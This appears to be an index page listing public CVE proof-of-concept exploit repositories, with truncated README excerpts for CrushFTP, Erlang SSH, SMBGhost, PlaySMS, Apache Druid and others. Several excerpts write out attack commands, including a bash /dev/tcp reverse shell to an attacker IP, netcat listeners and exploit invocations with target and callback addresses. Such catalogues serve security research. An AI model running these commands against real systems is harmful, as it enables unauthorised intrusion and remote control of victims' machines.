cve

CVE PoC Casi todos los PoC de CVEs disponibles públicamente. CVEs más populares actualmente...

CVE-2025-5840

CVE-2025-5840 CVE-2025-5840 Exploit In Python By hax / haxerr9 How To Use: Make sure Python3 is installed at system. Run "python3 CVE-2025-5840.py URL -c COMMAND". Don't forget to give it parameters before running the script. Example Use: NOT TESTED This exploit is not tested in a lab environment...

java-stager

java-stager A PoC Java Stager which can download, compile, and execute a Java file in memory. This is for research purposes only, do not use this where you are unauthorised to do so. What is this? This is based on the work of James Williams from his talk "Next Gen AV vs My Shitty Code" available...

copy-fail-go

Copy Fail - CVE-2026-31431 - golang version ⚠️ WARNING: This program is highly dangerous and experimental. Manual cleanup is required to clear the exploit. Use at your own risk! Technical Writeup original repo run check /usr/bin/su before run: root@kitploit: user@pc:$ hexdump -n 300 -x /usr/bin/su...

CVE-2020-7247

CVE 2020-7247 PoC exploit for OpenSMTPD 6.4.0...

CVE-2020-0796

Usage Make sure Python and ncat are installed. Run calctargetoffsets.bat on the target computer, and adjust the offsets at the top of the SMBleedingGhost.py file according to the script output also see the note below. Run ncat with the following command line arguments: ncat -lvp Where is the port...

CVE-2024-3094-fix-exploits

This repository does not have a README...

Metaphor

Metaphor Metaphor - Stagefright with ASLR bypass By Hanan Be'er from NorthBit Ltd. Link to whitepaper: https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf Twitter: https://twitter.com/HighByte Metaphor's source code is now released! The source include a PoC that generat...

Apache_Penetration_Tool

ApachePenetrationTool A vulnerability exploit tool developed using QT C++, for details of the vulnerability analysis, please refer to: https://www.hui-blog.cool/posts/de1f.html Tool interface At the vulnerability selection number, select the vulnerability that needs to be detected. Vulnerability...

CVE-2025-31161

CVE-2025-31161 - Script de Explotación de CrushFTP Descripción Este repositorio contiene un script en Python para interactuar con el servicio CrushFTP vulnerable a CVE-2025-31161. El script permite listar usuarios existentes y agregar un usuario malicioso explotando la vulnerabilidad...

CVE-2021-40444_EXP_JS

This repository does not have a README...

CVE-2025-32433

CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...

CVE-2021-43857-Gerapy-v0.9.7

CVE-2021-43857-Gerapy-v0.9.7 login to portal as admin add new project sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L 192.168.45.202 -P 80 enjoy...

CVE-2025-5548

🛡️ Research and Exploitation: CVE 2025-5548 This is the main repository where I document my progress in the analysis of CVE 2025-5548. In this space I record each phase of the process: from lab preparation to final exploit development. 📂 Repository Structure Below is the organization of the...

Cable-modems

Analysis of WiFi-enabled ISP modems Overview SEARCH-LAB Ltd evaluated five home gateway models, all of them are used by many internet service providers worldwide, but the actual devices have been operated by one of the Hungarian Cable TV operators, UPC Magyarország https://www.upc.hu/. The analys...

ved-ebpf

VED-eBPF: Kernel Exploit and Rootkit Detection using eBPF VED Vault Exploit Defense-eBPF leverages eBPF extended Berkeley Packet Filter to implement runtime kernel security monitoring and exploit detection for Linux systems. Introduction eBPF is an in-kernel virtual machine that allows code...

libpingpong_exploit

This repository does not have a README...

CVE-2020-8644-PlaySMS-1.4

CVE-2020-8644-PlaySMS-1.4 Python script to exploit PlaySMS before 1.4.3 Execution Open a port on your machine: And the execute exploit.py: root@kitploit: ./exploit.py Changing the exploit Tou may want to change the reverse shell created by exploit.py To do this, you can change the function...

CVE-2024-38063-Exploit-Refactoring

CVE-2024-38063 Exploit Advanced exploitation tool with precision error handling and DO-176C compliant execution. Overview This is a specialized security assessment tool for testing Windows IPv6 vulnerability mitigation on target systems. Includes automated network interface detection, packet...

CVE-2021-25646

Apache Druid Remote Code Execution CVE-2021-25646 by j2ekim Usage root@kitploit: python exp.py -u --url -c --command python cve-2021-25646.py -u http://127.0.0.1:8888 -c "ping 5ap7ta.dnslog.cn" Vulnerability Reproduction Article https://www.adminxe.com/2109.html Disclaimer Any direct or indirect...